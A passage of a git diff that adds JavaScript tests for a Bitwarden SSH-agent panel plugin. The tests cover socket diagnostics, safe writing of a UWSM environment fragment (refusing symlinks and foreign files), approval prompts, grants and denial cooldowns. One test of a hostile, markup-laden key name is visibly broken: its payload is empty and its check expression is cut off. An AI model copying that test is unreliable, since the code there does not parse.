0, + "no message") + +const running = state({ enabled: true, supervisable: true, phase: "ready", errorCode: "" }) +eq("a completed handshake is enabled", running.state, "enabled") +eq("a running helper is not busy", running.busy, false) + +for (const phase of ["starting", "handshaking"]) { + const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "" }) + eq(`${phase} is still the enabled state`, s.state, "enabled") + eq(`${phase} reports as busy`, s.busy, true) +} + +for (const phase of ["backoff", "restarting"]) { + const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "EXITED" }) + eq(`${phase} after a failure is an error`, s.state, "error") +} + +const crashed = state({ enabled: true, supervisable: true, phase: "failed", errorCode: "CRASH_LOOP" }) +eq("a crash loop is an error", crashed.state, "error") +check("a crash loop explains itself", crashed.message.indexOf("keeps failing") >= 0, crashed.message) + +// XDG_RUNTIME_DIR is the one thing the companion genuinely cannot do without, +// and the design says refuse rather than fall back to a guessable path. +const noRuntime = state({ enabled: true, supervisable: false, phase: "disabled", errorCode: "" }) +eq("enabled with no runtime directory is an error", noRuntime.state, "error") +check("the runtime-directory error names the cause", + /runtime directory/i.test(noRuntime.message), noRuntime.message) + +// ------------------------------------------------------------------------- +// Client routing is never a setup state +// ------------------------------------------------------------------------- + +const routingIrrelevant = ["/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", "/run/user/1000/gcr/ssh", ""] +for (const sock of routingIrrelevant) { + const s = state({ + enabled: true, supervisable: true, phase: "ready", errorCode: "", sshAuthSock: sock + }) + eq(`SSH_AUTH_SOCK=${JSON.stringify(sock)} does not change the setup state`, s.state, "enabled") +} + +// ------------------------------------------------------------------------- +// SSH_AUTH_SOCK is advisory, and says which agent the session actually has +// ------------------------------------------------------------------------- + +const RT = "/run/user/1000" +const ours = Model.sshAgentSocketPath(RT) +eq("the socket path is deterministic", ours, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock") +eq("no runtime directory means no socket path", Model.sshAgentSocketPath(""), "") +eq("a relative runtime directory means no socket path", Model.sshAgentSocketPath("run/user/1000"), "") + +const diag = (sock, rt) => Model.sshAuthSockDiagnostic(sock, rt === undefined ? RT : rt) + +eq("a matching socket is reported as matching", diag(ours).state, "matches") +eq("an unset socket is reported as unset", diag("").state, "unset") +eq("an undefined socket is reported as unset", diag(undefined).state, "unset") +eq("a different socket points elsewhere", diag("/run/user/1000/gcr/ssh").state, "elsewhere") + +const owners = [ + ["/run/user/1000/gcr/ssh", "GNOME Keyring"], + ["/run/user/1000/keyring/ssh", "GNOME Keyring"], + ["/home/u/.1password/agent.sock", "1Password"], + ["/run/user/1000/gnupg/S.gpg-agent.ssh", "GPG Agent"], + ["/run/user/1000/.bitwarden-ssh-agent.sock", "Bitwarden Desktop"], + ["/tmp/ssh-XXhqZ3kR/agent.4242", "OpenSSH ssh-agent"] +] +for (const [sock, owner] of owners) { + const d = diag(sock) + eq(`${sock} is attributed to ${owner}`, d.owner, owner) + eq(`${sock} points elsewhere`, d.state, "elsewhere") + check(`${sock} names its owner in the message`, d.message.indexOf(owner) >= 0, d.message) +} + +const unknownOwner = diag("/some/other/agent.sock") +eq("an unrecognised socket still points elsewhere", unknownOwner.state, "elsewhere") +check("an unrecognised socket is not attributed to anyone", + unknownOwner.owner === "", unknownOwner.owner) + +// The panel only sees the graphical session's environment. Anything it says +// about routing has to be offered as a hint the user can check themselves. +for (const sock of [ours, "", "/run/user/1000/gcr/ssh"]) { + const d = diag(sock) + check(`the ${d.state} diagnostic offers the terminal check`, + d.terminalCheck === Model.sshAuthSockTerminalCheck(), d.terminalCheck) + check(`the ${d.state} diagnostic never claims to be authoritative`, + !/\b(must|required|cannot start|will not start)\b/i.test(d.message), d.message) +} +check("the terminal check is the documented one", + Model.sshAuthSockTerminalCheck().indexOf("ssh-add -L") >= 0 + && Model.sshAuthSockTerminalCheck().indexOf("SSH_AUTH_SOCK") >= 0, + Model.sshAuthSockTerminalCheck()) + +// With no runtime directory there is nothing to compare against, so the +// diagnostic must not claim the session points somewhere wrong. +eq("no runtime directory yields no verdict", diag(ours, "").state, "unknown") + +// ------------------------------------------------------------------------- +// The managed UWSM fragment, exercised against a real filesystem +// ------------------------------------------------------------------------- + +const os = require("os") +const { spawnSync } = require("child_process") + +const FRAGMENT_REL = ".config/uwsm/env.d/50-qs-bitwarden-ssh-agent" +check("the display path is the documented one", + Model.uwsmFragmentDisplayPath() === "~/" + FRAGMENT_REL, Model.uwsmFragmentDisplayPath()) + +const content = Model.uwsmFragmentContent() +check("the fragment exports SSH_AUTH_SOCK", + content.indexOf('export SSH_AUTH_SOCK=') >= 0, content) +check("the fragment defers XDG_RUNTIME_DIR to login time", + content.indexOf('${XDG_RUNTIME_DIR}') >= 0, content) +check("the fragment marks itself as plugin-owned", + /qs-bitwarden-cli/.test(content) && /^#/m.test(content), content) + +function inTempHome(fn) { + const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-uwsm-")) + try { return fn(home) } finally { fs.rmSync(home, { recursive: true, force: true }) } +} +const run = (cmd, home) => + spawnSync(cmd[0], cmd.slice(1), { env: { HOME: home, PATH: "/usr/bin:/bin" }, encoding: "utf8" }) +const inspect = home => Model.parseUwsmInspection(run(Model.uwsmInspectCommand(), home).stdout) +const fragmentAt = home => path.join(home, FRAGMENT_REL) + +inTempHome(home => { + eq("a fresh home has no fragment", inspect(home).state, "absent") + + const written = run(Model.uwsmWriteCommand(), home) + eq("writing a fresh fragment succeeds", Model.parseUwsmActionResult(written.status, written.stdout).ok, true) + eq("the fragment is now recognised as managed", inspect(home).state, "managed") + eq("the file holds exactly the managed content", + fs.readFileSync(fragmentAt(home), "utf8"), content) + + const mode = fs.statSync(fragmentAt(home)).mode & 0o777 + check("the fragment is not writable by group or other", (mode & 0o022) === 0, mode.toString(8)) + const dirMode = fs.statSync(path.dirname(fragmentAt(home))).mode & 0o777 + check("the created parent is not writable by group or other", (dirMode & 0o022) === 0, dirMode.toString(8)) + + const again = run(Model.uwsmWriteCommand(), home) + eq("rewriting an identical fragment is not an error", + Model.parseUwsmActionResult(again.status, again.stdout).ok, true) + + const removed = run(Model.uwsmRemoveCommand(), home) + eq("removing a managed fragment succeeds", Model.parseUwsmActionResult(removed.status, removed.stdout).ok, true) + check("the fragment is gone", !fs.existsSync(fragmentAt(home)), "still present") + eq("removal leaves the state absent", inspect(home).state, "absent") + + const removeAgain = run(Model.uwsmRemoveCommand(), home) + eq("removing an absent fragment is not an error", + Model.parseUwsmActionResult(removeAgain.status, removeAgain.stdout).ok, true) +}) + +// Somebody else's file at the managed path is never replaced or deleted. +inTempHome(home => { + fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true }) + const foreign = 'export SSH_AUTH_SOCK="/run/user/1000/my-own-agent.sock"\n' + fs.writeFileSync(fragmentAt(home), foreign) + + const state = inspect(home) + eq("hand-written content is recognised as foreign", state.state, "foreign") + eq("foreign content is not offered for removal", state.removable, false) + check("foreign content comes with cleanup instructions", + state.message.indexOf(Model.uwsmFragmentDisplayPath()) >= 0, state.message) + + const written = run(Model.uwsmWriteCommand(), home) + const outcome = Model.parseUwsmActionResult(written.status, written.stdout) + eq("writing refuses to replace foreign content", outcome.ok, false) + eq("the refusal is reported as a conflict", outcome.code, "FOREIGN") + eq("the foreign file is untouched", fs.readFileSync(fragmentAt(home), "utf8"), foreign) + + const removed = run(Model.uwsmRemoveCommand(), home) + eq("removal refuses to delete foreign content", + Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false) + eq("the foreign file survives removal", fs.readFileSync(fragmentAt(home), "utf8"), foreign) +}) + +// A symlink at the managed path is refused outright rather than followed: it +// would otherwise be an arbitrary-write primitive into whatever it targets. +inTempHome(home => { + const target = path.join(home, "target-file") + fs.writeFileSync(target, "original\n") + fs.mkdirSync(path.dirname(fragmentAt(home)), { recursive: true }) + fs.symlinkSync(target, fragmentAt(home)) + + eq("a symlink is recognised as a symlink", inspect(home).state, "symlink") + eq("a symlink is not offered for removal", inspect(home).removable, false) + + const written = run(Model.uwsmWriteCommand(), home) + const outcome = Model.parseUwsmActionResult(written.status, written.stdout) + eq("writing refuses to follow a symlink", outcome.ok, false) + eq("the symlink refusal has its own code", outcome.code, "SYMLINK") + eq("the symlink target is untouched", fs.readFileSync(target, "utf8"), "original\n") + check("the symlink itself is untouched", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "no longer a symlink") + + const removed = run(Model.uwsmRemoveCommand(), home) + eq("removal refuses to follow a symlink", + Model.parseUwsmActionResult(removed.status, removed.stdout).ok, false) + check("the symlink survives removal", fs.lstatSync(fragmentAt(home)).isSymbolicLink(), "removed") + eq("the symlink target survives removal", fs.readFileSync(target, "utf8"), "original\n") +}) + +// A directory at the managed path is not a fragment either. +inTempHome(home => { + fs.mkdirSync(fragmentAt(home), { recursive: true }) + eq("a directory at the path is foreign", inspect(home).state, "foreign") + eq("writing refuses a directory", + Model.parseUwsmActionResult(run(Model.uwsmWriteCommand(), home).status, "").ok, false) +}) + +// No HOME is a refusal, not a write into an unexpected place. +{ + const noHome = spawnSync("bash", Model.uwsmInspectCommand().slice(1), + { env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" }) + eq("no HOME is reported rather than guessed", Model.parseUwsmInspection(noHome.stdout).state, "no-home") + const w = spawnSync("bash", Model.uwsmWriteCommand().slice(1), + { env: { PATH: "/usr/bin:/bin" }, encoding: "utf8" }) + eq("writing without HOME fails closed", Model.parseUwsmActionResult(w.status, w.stdout).ok, false) +} + +// Every outcome the panel can show has to say a logout is what applies it. +for (const [status, out] of [[0, "written\n"]]) { + const r = Model.parseUwsmActionResult(status, out) + check("a successful write tells the user to log out and back in", + /log ?out/i.test(r.message) && /log ?in/i.test(r.message), r.message) + check("a successful write explicitly rules out a shell restart", + /restart\w*\s+the\s+shell\s+is\s+not\s+enough/i.test(r.message), r.message) +} + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`ssh-agent-setup: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-ui.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-ui.test.js new file mode 100644 index 0000000..d548f62 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-ui.test.js @@ -0,0 +1,720 @@ +#!/usr/bin/env node +// The approval prompt is the one place a user is asked to authorise a +// signature, so what it shows has to be accurate about what the companion +// actually verified -- and what it did not. These tests cover the prompt's +// presentation, the deny/approve/grant control lines, the denial cooldown +// that stops a same-UID process reopening the panel forever, and the rule +// that no prompt is ever raised over a locked screen. +// +// node tests/ssh-agent-ui.test.js + +const fs = require("fs") +const path = require("path") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseAgentEvent = parseAgentEvent + exports.sshAgentApproveLine = sshAgentApproveLine + exports.sshAgentDenyLine = sshAgentDenyLine + exports.sshAgentUnlockCancelledLine = sshAgentUnlockCancelledLine + exports.sshAgentRevokeGrantLine = sshAgentRevokeGrantLine + exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine + exports.sshAgentPromptView = sshAgentPromptView + exports.sshAgentGrantViews = sshAgentGrantViews + exports.sshAgentGrantsAt = sshAgentGrantsAt + exports.sshAgentDevelopmentHelperWarning = sshAgentDevelopmentHelperWarning + exports.sshAgentRoutingNotice = sshAgentRoutingNotice + exports.pluginDataRemoveCommand = pluginDataRemoveCommand + exports.parsePluginDataRemoval = parsePluginDataRemoval + exports.sshAgentShouldPrompt = sshAgentShouldPrompt + exports.sshAgentCooldownInitial = sshAgentCooldownInitial + exports.sshAgentCooldownAfter = sshAgentCooldownAfter + exports.sshAgentCooldownActive = sshAgentCooldownActive + exports.sshAgentCooldownStatus = sshAgentCooldownStatus + exports.sshAgentLoadingNote = sshAgentLoadingNote + exports.sshAgentOptionsLine = sshAgentOptionsLine + exports.sshAgentRequestDeadlineMs = sshAgentRequestDeadlineMs + exports.sshAgentEnqueuePrompt = sshAgentEnqueuePrompt + exports.sshAgentDequeuePrompt = sshAgentDequeuePrompt + exports.sshAgentRemovePrompt = sshAgentRemovePrompt + exports.sshAgentPendingCount = sshAgentPendingCount + exports.plainLabel = plainLabel +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +// ------------------------------------------------------------------------- +// The companion's new messages must survive the bounded reader +// ------------------------------------------------------------------------- + +for (const [type, body] of [ + ["unlock_required", { requestId: 41, reason: "sign", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh" }], + ["approval_required", { requestId: 42, keyId: "k", keyName: "Work", fingerprint: "SHA256:x", pid: 12, processPath: "/usr/bin/ssh", operation: "ssh-sign", forwarded: false, grantOffered: true }], + ["request_cancelled", { requestId: 42, reason: "withdrawn" }], + ["grants_changed", { grants: [] }] +]) { + const parsed = Model.parseAgentEvent(JSON.stringify(Object.assign({ v: 1, type: type }, body))) + eq(`${type} parses`, parsed.ok, true) + eq(`${type} keeps its type`, parsed.ok && parsed.message.type, type) +} + +// ------------------------------------------------------------------------- +// Control lines +// ------------------------------------------------------------------------- + +eq("approve once carries a zero window", Model.sshAgentApproveLine(42, 0), + JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n") +eq("approve for a process carries its window", Model.sshAgentApproveLine(42, 120), + JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 120 }) + "\n") +eq("a grant window is clamped to the documented cap", Model.sshAgentApproveLine(42, 99999), + JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 900 }) + "\n") +eq("a negative window approves once instead", Model.sshAgentApproveLine(42, -5), + JSON.stringify({ v: 1, type: "approve", requestId: 42, grantSeconds: 0 }) + "\n") +eq("deny is a versioned v1 line", Model.sshAgentDenyLine(42), + JSON.stringify({ v: 1, type: "deny", requestId: 42 }) + "\n") +eq("a dismissed unlock is reported as user-cancelled", Model.sshAgentUnlockCancelledLine(41), + JSON.stringify({ v: 1, type: "unlock_cancelled", requestId: 41, reason: "user-cancelled" }) + "\n") +// The companion cannot read shell.json, so the panel has to tell it. +eq("unlock-on-demand is sent to the companion", Model.sshAgentOptionsLine(true), + JSON.stringify({ v: 1, type: "options", unlockOnDemand: true }) + "\n") +eq("and its default off state is sent too", Model.sshAgentOptionsLine(false), + JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n") +eq("anything that is not true is off", Model.sshAgentOptionsLine(undefined), + JSON.stringify({ v: 1, type: "options", unlockOnDemand: false }) + "\n") + +eq("a single grant is revoked by id", Model.sshAgentRevokeGrantLine(9), + JSON.stringify({ v: 1, type: "revoke_grant", grantId: 9 }) + "\n") +eq("an invalid request id yields no line", Model.sshAgentApproveLine("nope", 0), "") +eq("an invalid grant id yields no line", Model.sshAgentRevokeGrantLine(-1), "") + +// ------------------------------------------------------------------------- +// What the prompt shows +// ------------------------------------------------------------------------- + +const request = { + v: 1, type: "approval_required", requestId: 42, keyId: "item-1", + keyName: "personal ed25519", fingerprint: "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0", + pid: 48213, processPath: "/usr/bin/ssh", operation: "ssh-sign", + forwarded: false, grantOffered: true +} + +const view = Model.sshAgentPromptView(request, 120) +eq("the prompt names the key", view.keyName, "personal ed25519") +eq("the prompt shows the full fingerprint", view.fingerprint, "SHA256:9wKk2nQ8xR1vLm4pZc7dYtE0") +eq("the prompt shows the executable path", view.processPath, "/usr/bin/ssh") +eq("the prompt derives the process name from the path", view.processName, "ssh") +eq("the prompt shows the pid", view.pid, 48213) +eq("the prompt offers a grant", view.grantOffered, true) +check("the grant button states its window", /2m|120/.test(view.grantLabel), view.grantLabel) +// A grant covers one program, not one process (docs/decisions/0002-grant-scope.md). +// The button has to say so, or it promises a narrower thing than it does. +check("the grant button says what it actually covers", + /program/i.test(view.grantLabel) && !/this process/i.test(view.grantLabel), view.grantLabel) + +// The companion verifies the peer UID and nothing else. Saying so on the +// prompt is the difference between context and a claim of identity. +check("the prompt says process details are not verified", + /not verified|reported/i.test(view.provenanceNote), view.provenanceNote) +check("the prompt never calls the process trusted or verified", + !/\b(verified|authenticated|trusted) (process|by)\b/i.test(view.provenanceNote), view.provenanceNote) + +// A zero window means grants are off, so the button must not be offered. +const noGrant = Model.sshAgentPromptView(request, 0) +eq("a zero window offers no grant", noGrant.grantOffered, false) +const refusedGrant = Model.sshAgentPromptView(Object.assign({}, request, { grantOffered: false }), 120) +eq("a companion that offers no grant is respected", refusedGrant.grantOffered, false) + +// Forwarding is rejected in v1; if one ever arrives it is called out, not +// shown as ordinary context. +const forwarded = Model.sshAgentPromptView(Object.assign({}, request, { forwarded: true }), 120) +check("a forwarded request is flagged", forwarded.forwardedWarning.length > 0, forwarded.forwardedWarning) +eq("a forwarded request offers no grant", forwarded.grantOffered, false) +eq("an ordinary request has no forwarding warning", view.forwardedWarning, "") + +// A vault item's name is attacker-controllable by whoever shares the +// collection it came from, and the process path comes from outside too. +const hostile = Model.sshAgentPromptView(Object.assign({}, request, { + keyName: "", + processPath: "/usr/bin/ssh" +}), 120) +check("a markup key name cannot reach a rich-text control", + Model.plainLabel(hostile.keyName).indexOf(" 0, hostile.keyName) + +const huge = Model.sshAgentPromptView(Object.assign({}, request, { + keyName: "n".repeat(5000), processPath: "/" + "p".repeat(5000) +}), 120) +check("an absurd key name is bounded", huge.keyName.length <= 256, String(huge.keyName.length)) +check("an absurd path is bounded", huge.processPath.length <= 512, String(huge.processPath.length)) + +// The panel's countdown has to agree with the companion's deadline, or it +// counts down to a moment nothing happens at. See +// docs/decisions/0003-request-deadline.md for the figure. +eq("the request deadline matches the companion's", Model.sshAgentRequestDeadlineMs(), 120000) +const agentSrc = fs.readFileSync(path.join(repoRoot, "agent", "src", "approvals.rs"), "utf8") +const agentDeadline = /pub const REQUEST_LIFETIME_MS: u64 = ([0-9_]+);/.exec(agentSrc) +check("the panel and the companion agree on it", + agentDeadline && Number(agentDeadline[1].replace(/_/g, "")) === Model.sshAgentRequestDeadlineMs(), + agentDeadline ? agentDeadline[1] : "REQUEST_LIFETIME_MS not found") + +// ------------------------------------------------------------------------- +// Grants +// ------------------------------------------------------------------------- + +const grants = Model.sshAgentGrantViews([ + { grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 95 }, + { grantId: 10, keyName: "work rsa", fingerprint: "SHA256:y", pid: 5, processPath: "/usr/bin/git", expiresInSec: 0 } +]) +eq("every grant is listed", grants.length, 2) +eq("a grant keeps its id", grants[0].grantId, 9) +eq("a grant names its process", grants[0].processName, "ssh") +check("a grant states its remaining time", /1m 35s|95/.test(grants[0].remainingLabel), grants[0].remainingLabel) +check("an expiring grant says so", grants[1].remainingLabel.length > 0, grants[1].remainingLabel) +check("no grant view carries key material", + grants.every(g => JSON.stringify(g).indexOf("PRIVATE") < 0), "leaked") +eq("a malformed grant list yields nothing", Model.sshAgentGrantViews(null).length, 0) + +// A grant is announced once and then nothing is said until it changes, so the +// remaining time has to be re-derived rather than remembered. Without this the +// settings screen showed "1m 59s left" for the whole two minutes and then the +// row disappeared, having never counted down. +const announced = Model.sshAgentGrantViews( + [{ grantId: 9, keyName: "personal ed25519", fingerprint: "SHA256:x", pid: 48213, processPath: "/usr/bin/ssh", expiresInSec: 120 }], + 10_000) +eq("an announced grant records when it expires", announced[0].expiresAtMs, 130_000) +const halfway = Model.sshAgentGrantsAt(announced, 70_000) +eq("the remaining time follows the clock", halfway[0].remainingSec, 60) +check("and the label follows it", /1m/.test(halfway[0].remainingLabel), halfway[0].remainingLabel) +eq("a lapsed grant leaves the list without waiting to be told", + Model.sshAgentGrantsAt(announced, 130_001).length, 0) +eq("a grant on its last second is still listed", + Model.sshAgentGrantsAt(announced, 129_500).length, 1) +eq("an unstamped view survives re-derivation rather than vanishing", + Model.sshAgentGrantsAt([{ grantId: 9, remainingLabel: "2m left" }], 70_000).length, 1) +eq("and so does every view before the first tick", + Model.sshAgentGrantsAt(announced, 0).length, 1) +eq("a malformed set re-derives to nothing", Model.sshAgentGrantsAt(null, 1).length, 0) + +// A development helper is a state you can sit in for days without noticing, +// signing with a binary that has no recorded digest and no provenance. The +// warning has to say why that matters, and distinguish a shipped helper that +// was rejected from one that was simply never there. +const rejected = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "mismatch" }) +check("a rejected shipped helper is named as the reason", /checksum/i.test(rejected), rejected) +const absent = Model.sshAgentDevelopmentHelperWarning({ source: "development", checksum: "unchecked" }) +check("an absent one is not blamed on a checksum", !/checksum/i.test(absent), absent) +for (const [label, text] of [["rejected", rejected], ["absent", absent]]) { + check(`the ${label} warning says what is serving keys`, /locally built/i.test(text), text) + check(`the ${label} warning says what it lacks`, /provenance|digest/i.test(text), text) + check(`the ${label} warning says how to fix it`, /reinstall/i.test(text), text) + check(`the ${label} warning does not answer a user with a build command`, + !/build-agent|cargo/.test(text), text) +} +check("a missing helper record does not throw", + typeof Model.sshAgentDevelopmentHelperWarning(null) === "string", "threw or returned non-string") + +// ------------------------------------------------------------------------- +// Never prompt over a locked screen +// ------------------------------------------------------------------------- + +eq("an ordinary desktop prompts", Model.sshAgentShouldPrompt({ screenLocked: false }), true) +eq("a locked screen never prompts", Model.sshAgentShouldPrompt({ screenLocked: true }), false) +eq("an unknown screen state does not prompt", Model.sshAgentShouldPrompt(null), false) + +// ------------------------------------------------------------------------- +// Denial cooldown +// ------------------------------------------------------------------------- + +let cool = Model.sshAgentCooldownInitial() +eq("nothing is on cooldown to begin with", Model.sshAgentCooldownActive(cool, 0), false) + +cool = Model.sshAgentCooldownAfter(cool, "denied", 1000) +eq("one denial does not start a cooldown", Model.sshAgentCooldownActive(cool, 1000), false) +cool = Model.sshAgentCooldownAfter(cool, "denied", 2000) +eq("two consecutive denials start one", Model.sshAgentCooldownActive(cool, 2000), true) +eq("the cooldown ends on its own", Model.sshAgentCooldownActive(cool, 2000 + 10 * 60 * 1000), false) + +// A timeout is a denial for this purpose: the user saw it and did nothing. +let timedOut = Model.sshAgentCooldownInitial() +timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 0) +timedOut = Model.sshAgentCooldownAfter(timedOut, "timeout", 100) +eq("two timeouts also start a cooldown", Model.sshAgentCooldownActive(timedOut, 100), true) + +// Approving clears the history: the user is engaging, not being pestered. +let mixed = Model.sshAgentCooldownInitial() +mixed = Model.sshAgentCooldownAfter(mixed, "denied", 0) +mixed = Model.sshAgentCooldownAfter(mixed, "approved", 100) +mixed = Model.sshAgentCooldownAfter(mixed, "denied", 200) +eq("an approval resets the denial run", Model.sshAgentCooldownActive(mixed, 200), false) + +// An approval cannot end a cooldown that is already running -- the cooldown is +// precisely what stops the prompt an approval would answer. Only an explicit +// resume ends it early; otherwise a user who dismissed two prompts waits out +// the full five minutes with nothing they can do about it. +let stuck = Model.sshAgentCooldownInitial() +stuck = Model.sshAgentCooldownAfter(stuck, "denied", 0) +stuck = Model.sshAgentCooldownAfter(stuck, "denied", 100) +eq("two denials leave a cooldown running", Model.sshAgentCooldownActive(stuck, 100), true) +stuck = Model.sshAgentCooldownAfter(stuck, "resumed", 200) +eq("an explicit resume ends it at once", Model.sshAgentCooldownActive(stuck, 200), false) +eq("and clears the run behind it, so one later denial does not re-arm it", + Model.sshAgentCooldownActive(Model.sshAgentCooldownAfter(stuck, "denied", 300), 300), false) + +// Nothing the requesting process does may end a cooldown, or prolong one: the +// suppressed path answers the client itself and records no outcome, so only +// prompts a person actually saw ever feed the run. +let unattended = Model.sshAgentCooldownInitial() +unattended = Model.sshAgentCooldownAfter(unattended, "denied", 0) +unattended = Model.sshAgentCooldownAfter(unattended, "denied", 100) +eq("an unanswered request leaves the window where it was", + Model.sshAgentCooldownAfter(unattended, "withdrawn", 200).untilMs, unattended.untilMs) +eq("and the cooldown lapses on its own", + Model.sshAgentCooldownActive(unattended, 100 + 5 * 60 * 1000), false) + +// A cooldown that fails signatures silently is worse than the pestering it +// prevents: SSH just stops working for five minutes with no explanation +// anywhere. It has to say so, and say when it lifts. +let cooled = Model.sshAgentCooldownInitial() +const quiet = Model.sshAgentCooldownStatus(cooled, 0) +eq("nothing is reported while no cooldown is running", quiet.active, false) +eq("a quiet cooldown has no message", quiet.message, "") + +cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0) +cooled = Model.sshAgentCooldownAfter(cooled, "denied", 0) +const cooling = Model.sshAgentCooldownStatus(cooled, 0) +eq("an active cooldown is reported", cooling.active, true) +check("it says SSH requests are being refused", + /refus|declin/i.test(cooling.message), cooling.message) +check("it says when it lifts", /\d/.test(cooling.message), cooling.message) +eq("it reports the remaining time", cooling.remainingSec, 300) +check("the remaining time counts down", + Model.sshAgentCooldownStatus(cooled, 60000).remainingSec === 240, + String(Model.sshAgentCooldownStatus(cooled, 60000).remainingSec)) +eq("it clears itself when the window passes", + Model.sshAgentCooldownStatus(cooled, 5 * 60 * 1000).active, false) +check("the status never names a key or a process", + cooling.message.indexOf("ssh-") < 0 && cooling.message.indexOf("/usr/") < 0, cooling.message) + +// Unlocking runs one `bw list items`, which takes seconds on a real vault. +// The request that triggered the unlock is held across it, so without a +// loading state the user unlocks and then watches nothing happen. +const waiting = Model.sshAgentPromptView(Object.assign({}, request, { type: "unlock_required" }), 120) +check("a held request can say it is still loading", + typeof Model.sshAgentLoadingNote === "function", "no loading note is available") +if (typeof Model.sshAgentLoadingNote === "function") { + const note = Model.sshAgentLoadingNote() + check("the loading note says keys are on the way", /load/i.test(note), note) + check("the loading note does not promise it is instant", + !/instant|immediat/i.test(note), note) +} + +// ------------------------------------------------------------------------- +// The panel wiring +// ------------------------------------------------------------------------- + +// Every file the SSH markup lives in: the settings sections and the approval +// screen have their own, and Panel.qml keeps the rest. Reading only the first +// would leave every "this must NOT appear" check below passing on content that +// had simply moved. +const sshUiFiles = [ + "Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", + "SshApprovalPopup.qml", "SshUnlockScreen.qml" +] +const panelSrc = sshUiFiles + .map(file => fs.existsSync(path.join(repoRoot, file)) + ? fs.readFileSync(path.join(repoRoot, file), "utf8") : "") + .join("\n") +const approvalSrc = fs.readFileSync(path.join(repoRoot, "SshApprovalScreen.qml"), "utf8") +const settingsSrc = fs.readFileSync(path.join(repoRoot, "SshAgentSettings.qml"), "utf8") +const popupSrc = fs.existsSync(path.join(repoRoot, "SshApprovalPopup.qml")) + ? fs.readFileSync(path.join(repoRoot, "SshApprovalPopup.qml"), "utf8") : "" +const unlockSrc = fs.existsSync(path.join(repoRoot, "SshUnlockScreen.qml")) + ? fs.readFileSync(path.join(repoRoot, "SshUnlockScreen.qml"), "utf8") : "" + +// plainLabel() wraps its argument in a span when the text contains markup +// characters, which a PlainText control then renders literally. The field is +// matched with whatever object it hangs off, because the settings sections +// reach the panel as `panel` and the screens as `root`: pinning the prefix +// would let these checks pass on content that had only moved between files. +for (const field of [ + "sshAgentVersion", + "modelData.keyName", + "modelData.processName", + "sshUnlockRequest.keyName", + "sshUnlockRequest.processName", + "sshPrompt.keyName", + "sshPrompt.processName", + "sshPrompt.processPath", + "sshRouting.owner" +]) { + const wrapped = new RegExp( + "plainLabel\\(\\s*(?:root|panel|section\\.panel)?\\.?" + + field.replace(/\./g, "\\.") + "\\s*\\)") + check("SSH PlainText labels do not receive rich-text wrappers for " + field, + !wrapped.test(panelSrc), field) +} + +check("there is a dedicated approval screen", + /currentScreen === "sshApproval"/.test(panelSrc), "no sshApproval screen") +check("an approval_required message raises the prompt", + /message\.type === "approval_required"[\s\S]{0,600}?showSshApproval\(message\)/.test(panelSrc), + "approval_required never raises the prompt") +// Opening the panel sends an unlocked one to the item list, so a prompt that +// claimed the screen first would be silently undone -- live state, blank +// screen. Both halves of that ordering are pinned here because the failure is +// invisible: everything reports healthy while nothing is drawn. +check("the legacy panel is opened before its approval screen is claimed", + /function showSshApproval\(message\)[\s\S]{0,1200}?sshAgentApprovalPopup[\s\S]{0,400}?return[\s\S]{0,600}?root\.open\(\)[\s\S]{0,200}?currentScreen = "sshApproval"/.test(panelSrc), + "the screen is claimed before opening, so opening resets it") +// Pinned on the ordering rather than on a character distance: what matters is +// that a live prompt claims the screen and returns before the branch that +// would send an unlocked panel to the item list, not how much housekeeping +// happens above it. +const openedBody = panelSrc.slice(panelSrc.indexOf("function onPanelOpened()"), + panelSrc.indexOf("function onPanelClosed") > 0 + ? panelSrc.indexOf("function onPanelClosed") + : panelSrc.indexOf("function onPanelOpened()") + 2000) +check("opening the panel does not discard a live request", + /if \(sshPrompt\)[\s\S]{0,160}?currentScreen = "sshApproval"[\s\S]{0,40}?return/.test(openedBody) + && openedBody.indexOf("sshPrompt") < openedBody.indexOf('status === "unlocked"'), + "onPanelOpened resets away from a live prompt") +check("a withdrawn prompt counts toward the cooldown", + /message\.reason !== "released"[\s\S]{0,200}?sshAgentCooldownAfter\(root\.sshCooldown, "timeout"/.test(panelSrc), + "an unanswered prompt never feeds the cooldown") + +// The panel resets currentScreen in several of its own flows -- opening the +// panel, finishing an unlock -- each of which silently dropped a live prompt +// before. Screen visibility binds to activeScreen, which a live request wins, +// so no later assignment can hide a question a client is blocked on. +check("a live prompt outranks navigation state", + /readonly property string activeScreen: sshPrompt !== null && !sshAgentApprovalPopup \? "sshApproval" : 